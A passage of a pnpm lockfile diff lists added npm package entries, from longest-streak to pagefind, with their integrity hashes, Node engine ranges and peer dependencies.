sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} + + longest-streak@3.1.0: + resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==} + + lru-cache@10.4.3: + resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==} + + lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + + lucide-react@0.554.0: + resolution: {integrity: sha512-St+z29uthEJVx0Is7ellNkgTEhaeSoA42I7JjOCBCrc5X6LYMGSv0P/2uS5HDLTExP5tpiqRD2PyUEOS6s9UXA==} + peerDependencies: + react: ^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + magic-string@0.25.9: + resolution: {integrity: sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==} + + magic-string@0.30.19: + resolution: {integrity: sha512-2N21sPY9Ws53PZvsEpVtNuSW+ScYbQdp4b9qUaL+9QkHUrGFKo56Lg9Emg5s9V/qrtNBmiR01sYhUOwu3H+VOw==} + + magicast@0.3.5: + resolution: {integrity: sha512-L0WhttDl+2BOsybvEOLK7fW3UA0OQ0IQ2d6Zl2x/a6vVRs3bAY0ECOSHHeL5jD+SbOpOCUEi0y1DgHEn9Qn1AQ==} + + make-dir@3.1.0: + resolution: {integrity: sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==} + engines: {node: '>=8'} + + markdown-it@14.1.0: + resolution: {integrity: sha512-a54IwgWPaeBCAAsv13YgmALOF1elABB08FxO9i+r4VFk5Vl4pKokRPeX8u5TCgSsPi6ec1otfLjdOpVcgbpshg==} + hasBin: true + + markdown-table@3.0.4: + resolution: {integrity: sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==} + + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + + maxmin@2.1.0: + resolution: {integrity: sha512-NWlApBjW9az9qRPaeg7CX4sQBWwytqz32bIEo1PW9pRW+kBP9KLRfJO3UC+TV31EcQZEUq7eMzikC7zt3zPJcw==} + engines: {node: '>=0.12'} + + mdast-util-definitions@6.0.0: + resolution: {integrity: sha512-scTllyX6pnYNZH/AIp/0ePz6s4cZtARxImwoPJ7kS42n+MnVsI4XbnG6d4ibehRIldYMWM2LD7ImQblVhUejVQ==} + + mdast-util-directive@3.1.0: + resolution: {integrity: sha512-I3fNFt+DHmpWCYAT7quoM6lHf9wuqtI+oCOfvILnoicNIqjh5E3dEJWiXuYME2gNe8vl1iMQwyUHa7bgFmak6Q==} + + mdast-util-find-and-replace@3.0.2: + resolution: {integrity: sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==} + + mdast-util-from-markdown@2.0.2: + resolution: {integrity: sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA==} + + mdast-util-gfm-autolink-literal@2.0.1: + resolution: {integrity: sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==} + + mdast-util-gfm-footnote@2.1.0: + resolution: {integrity: sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==} + + mdast-util-gfm-strikethrough@2.0.0: + resolution: {integrity: sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==} + + mdast-util-gfm-table@2.0.0: + resolution: {integrity: sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==} + + mdast-util-gfm-task-list-item@2.0.0: + resolution: {integrity: sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==} + + mdast-util-gfm@3.1.0: + resolution: {integrity: sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==} + + mdast-util-math@3.0.0: + resolution: {integrity: sha512-Tl9GBNeG/AhJnQM221bJR2HPvLOSnLE/T9cJI9tlc6zwQk2nPk/4f0cHkOdEixQPC/j8UtKDdITswvLAy1OZ1w==} + + mdast-util-phrasing@4.1.0: + resolution: {integrity: sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==} + + mdast-util-to-hast@13.2.0: + resolution: {integrity: sha512-QGYKEuUsYT9ykKBCMOEDLsU5JRObWQusAolFMeko/tYPufNkRffBAQjIE+99jbA87xv6FgmjLtwjh9wBWajwAA==} + + mdast-util-to-markdown@2.1.2: + resolution: {integrity: sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==} + + mdast-util-to-string@4.0.0: + resolution: {integrity: sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==} + + mdn-data@2.0.14: + resolution: {integrity: sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==} + + mdn-data@2.0.28: + resolution: {integrity: sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==} + + mdn-data@2.0.30: + resolution: {integrity: sha512-GaqWWShW4kv/G9IEucWScBx9G1/vsFZZJUO+tD26M8J8z3Kw5RDQjaoZe03YAClgeS/SWPOcb4nkFBTEi5DUEA==} + + mdn-data@2.12.2: + resolution: {integrity: sha512-IEn+pegP1aManZuckezWCO+XZQDplx1366JoVhTpMpBB1sPey/SbveZQUosKiKiGYjg1wH4pMlNgXbCiYgihQA==} + + mdurl@2.0.0: + resolution: {integrity: sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==} + + merge-stream@2.0.0: + resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + microbundle@0.15.1: + resolution: {integrity: sha512-aAF+nwFbkSIJGfrJk+HyzmJOq3KFaimH6OIFBU6J2DPjQeg1jXIYlIyEv81Gyisb9moUkudn+wj7zLNYMOv75Q==} + hasBin: true + + micromark-core-commonmark@2.0.3: + resolution: {integrity: sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==} + + micromark-extension-directive@3.0.2: + resolution: {integrity: sha512-wjcXHgk+PPdmvR58Le9d7zQYWy+vKEU9Se44p2CrCDPiLr2FMyiT4Fyb5UFKFC66wGB3kPlgD7q3TnoqPS7SZA==} + + micromark-extension-gfm-autolink-literal@2.1.0: + resolution: {integrity: sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==} + + micromark-extension-gfm-footnote@2.1.0: + resolution: {integrity: sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==} + + micromark-extension-gfm-strikethrough@2.1.0: + resolution: {integrity: sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==} + + micromark-extension-gfm-table@2.1.1: + resolution: {integrity: sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==} + + micromark-extension-gfm-tagfilter@2.0.0: + resolution: {integrity: sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==} + + micromark-extension-gfm-task-list-item@2.1.0: + resolution: {integrity: sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==} + + micromark-extension-gfm@3.0.0: + resolution: {integrity: sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==} + + micromark-extension-math@3.1.0: + resolution: {integrity: sha512-lvEqd+fHjATVs+2v/8kg9i5Q0AP2k85H0WUOwpIVvUML8BapsMvh1XAogmQjOCsLpoKRCVQqEkQBB3NhVBcsOg==} + + micromark-factory-destination@2.0.1: + resolution: {integrity: sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==} + + micromark-factory-label@2.0.1: + resolution: {integrity: sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==} + + micromark-factory-space@2.0.1: + resolution: {integrity: sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==} + + micromark-factory-title@2.0.1: + resolution: {integrity: sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==} + + micromark-factory-whitespace@2.0.1: + resolution: {integrity: sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==} + + micromark-util-character@2.1.1: + resolution: {integrity: sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==} + + micromark-util-chunked@2.0.1: + resolution: {integrity: sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==} + + micromark-util-classify-character@2.0.1: + resolution: {integrity: sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==} + + micromark-util-combine-extensions@2.0.1: + resolution: {integrity: sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==} + + micromark-util-decode-numeric-character-reference@2.0.2: + resolution: {integrity: sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==} + + micromark-util-decode-string@2.0.1: + resolution: {integrity: sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==} + + micromark-util-encode@2.0.1: + resolution: {integrity: sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==} + + micromark-util-html-tag-name@2.0.1: + resolution: {integrity: sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==} + + micromark-util-normalize-identifier@2.0.1: + resolution: {integrity: sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==} + + micromark-util-resolve-all@2.0.1: + resolution: {integrity: sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==} + + micromark-util-sanitize-uri@2.0.1: + resolution: {integrity: sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==} + + micromark-util-subtokenize@2.1.0: + resolution: {integrity: sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==} + + micromark-util-symbol@2.0.1: + resolution: {integrity: sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==} + + micromark-util-types@2.0.2: + resolution: {integrity: sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==} + + micromark@4.0.2: + resolution: {integrity: sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + + minimatch@3.1.2: + resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} + + minimatch@5.1.6: + resolution: {integrity: sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==} + engines: {node: '>=10'} + + minimatch@9.0.5: + resolution: {integrity: sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==} + engines: {node: '>=16 || 14 >=14.17'} + + minipass@3.3.6: + resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} + engines: {node: '>=8'} + + minipass@4.2.8: + resolution: {integrity: sha512-fNzuVyifolSLFL4NzpF+wEF4qrgqaaKX0haXPQEdQ7NKAN+WecoKMHV09YcuL/DHxrUsYQOK3MiuDf7Ip2OXfQ==} + engines: {node: '>=8'} + + minipass@5.0.0: + resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==} + engines: {node: '>=8'} + + minipass@7.1.2: + resolution: {integrity: sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==} + engines: {node: '>=16 || 14 >=14.17'} + + minizlib@2.1.2: + resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==} + engines: {node: '>= 8'} + + mkdirp@1.0.4: + resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} + engines: {node: '>=10'} + hasBin: true + + mlly@1.7.4: + resolution: {integrity: sha512-qmdSIPC4bDJXgZTCR7XosJiNKySV7O215tsPtDN9iEO/7q/76b/ijtgRu/+epFXSJhijtTCCGp3DWS549P3xKw==} + + morphdom@2.7.5: + resolution: {integrity: sha512-z6bfWFMra7kBqDjQGHud1LSXtq5JJC060viEkQFMBX6baIecpkNr2Ywrn2OQfWP3rXiNFQRPoFjD8/TvJcWcDg==} + + mri@1.2.0: + resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} + engines: {node: '>=4'} + + mrmime@2.0.1: + resolution: {integrity: sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==} + engines: {node: '>=10'} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + muggle-string@0.4.1: + resolution: {integrity: sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==} + + mz@2.7.0: + resolution: {integrity: sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==} + + nanoid@3.3.11: + resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + neotraverse@0.6.18: + resolution: {integrity: sha512-Z4SmBUweYa09+o6pG+eASabEpP6QkQ70yHj351pQoEXIs8uHbaU2DWVmzBANKgflPa47A50PtB2+NgRpQvr7vA==} + engines: {node: '>= 10'} + + nlcst-to-string@4.0.0: + resolution: {integrity: sha512-YKLBCcUYKAg0FNlOBT6aI91qFmSiFKiluk655WzPF+DDMA02qIyy8uiRqI8QXtcFpEvll12LpL5MXqEmAZ+dcA==} + + node-addon-api@7.1.1: + resolution: {integrity: sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==} + + node-fetch-native@1.6.7: + resolution: {integrity: sha512-g9yhqoedzIUm0nTnTqAQvueMPVOuIY16bqgAJJC8XOOubYFNwz6IER9qs0Gq2Xd0+CecCKFjtdDTMA4u4xG06Q==} + + node-fetch@2.7.0: + resolution: {integrity: sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==} + engines: {node: 4.x || >=6.0.0} + peerDependencies: + encoding: ^0.1.0 + peerDependenciesMeta: + encoding: + optional: true + + node-mock-http@1.0.3: + resolution: {integrity: sha512-jN8dK25fsfnMrVsEhluUTPkBFY+6ybu7jSB1n+ri/vOGjJxU8J9CZhpSGkHXSkFjtUhbmoncG/YG9ta5Ludqog==} + + node-releases@2.0.19: + resolution: {integrity: sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==} + + normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + + normalize-range@0.1.2: + resolution: {integrity: sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==} + engines: {node: '>=0.10.0'} + + normalize-url@6.1.0: + resolution: {integrity: sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==} + engines: {node: '>=10'} + + nth-check@2.1.1: + resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} + + number-is-nan@1.0.1: + resolution: {integrity: sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==} + engines: {node: '>=0.10.0'} + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + object-hash@3.0.0: + resolution: {integrity: sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==} + engines: {node: '>= 6'} + + object-inspect@1.13.4: + resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==} + engines: {node: '>= 0.4'} + + object-keys@1.1.1: + resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} + engines: {node: '>= 0.4'} + + object.assign@4.1.7: + resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==} + engines: {node: '>= 0.4'} + + ofetch@1.4.1: + resolution: {integrity: sha512-QZj2DfGplQAr2oj9KzceK9Hwz6Whxazmn85yYeVuS3u9XTMOGMRx0kO95MQ+vLsj/S/NwBDMMLU5hpxvI6Tklw==} + + ohash@2.0.11: + resolution: {integrity: sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ==} + + once@1.4.0: + resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + + oniguruma-parser@0.12.1: + resolution: {integrity: sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w==} + + oniguruma-to-es@4.3.3: + resolution: {integrity: sha512-rPiZhzC3wXwE59YQMRDodUwwT9FZ9nNBwQQfsd1wfdtlKEyCdRV0avrTcSZ5xlIvGRVPd/cx6ZN45ECmS39xvg==} + + open@8.4.2: + resolution: {integrity: sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==} + engines: {node: '>=12'} + + opencollective-postinstall@2.0.3: + resolution: {integrity: sha512-8AV/sCtuzUeTo8gQK5qDZzARrulB3egtLzFgteqB2tcT4Mw7B8Kt7JcDHmltjz6FOAHsvTevk70gZEbhM4ZS9Q==} + hasBin: true + + overlayscrollbars@2.12.0: + resolution: {integrity: sha512-mWJ5MOkcZ/ljHwfLw8+bN0V9ziGCoNoqULcp994j5DTGNQvnkWKWkA7rnO29Kyew5AoHxUnJ4Ndqfcl0HSQjXg==} + + own-keys@1.0.1: + resolution: {integrity: sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==} + engines: {node: '>= 0.4'} + + p-finally@1.0.0: + resolution: {integrity: sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==} + engines: {node: '>=4'} + + p-limit@2.3.0: + resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==} + engines: {node: '>=6'} + + p-limit@6.2.0: + resolution: {integrity: sha512-kuUqqHNUqoIWp/c467RI4X6mmyuojY5jGutNU0wVTmEOOfcuwLqyMVoAi9MKi2Ak+5i9+nhmrK4ufZE8069kHA==} + engines: {node: '>=18'} + + p-locate@4.1.0: + resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==} + engines: {node: '>=8'} + + p-queue@6.6.2: + resolution: {integrity: sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==} + engines: {node: '>=8'} + + p-queue@8.1.1: + resolution: {integrity: sha512-aNZ+VfjobsWryoiPnEApGGmf5WmNsCo9xu8dfaYamG5qaLP7ClhLN6NgsFe6SwJ2UbLEBK5dv9x8Mn5+RVhMWQ==} + engines: {node: '>=18'} + + p-timeout@3.2.0: + resolution: {integrity: sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==} + engines: {node: '>=8'} + + p-timeout@6.1.4: + resolution: {integrity: sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg==} + engines: {node: '>=14.16'} + + p-try@2.2.0: + resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} + engines: {node: '>=6'} + + package-json-from-dist@1.0.1: + resolution: {integrity: sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==} + + package-manager-detector@0.2.11: + resolution: {integrity: sha512-BEnLolu+yuz22S56CU1SUKq3XC3PkwD5wv4ikR4MfGvnRVcmzXR9DwSlW2fEamyTPyXHomBJRzgapeuBvRNzJQ==} + + package-manager-detector@1.3.0: + resolution: {integrity: sha512-ZsEbbZORsyHuO00lY1kV3/t72yp6Ysay6Pd17ZAlNGuGwmWDLCJxFpRs0IzfXfj1o4icJOkUEioexFHzyPurSQ==} + + pagefind@1.4.0: + resolution: {integrity: 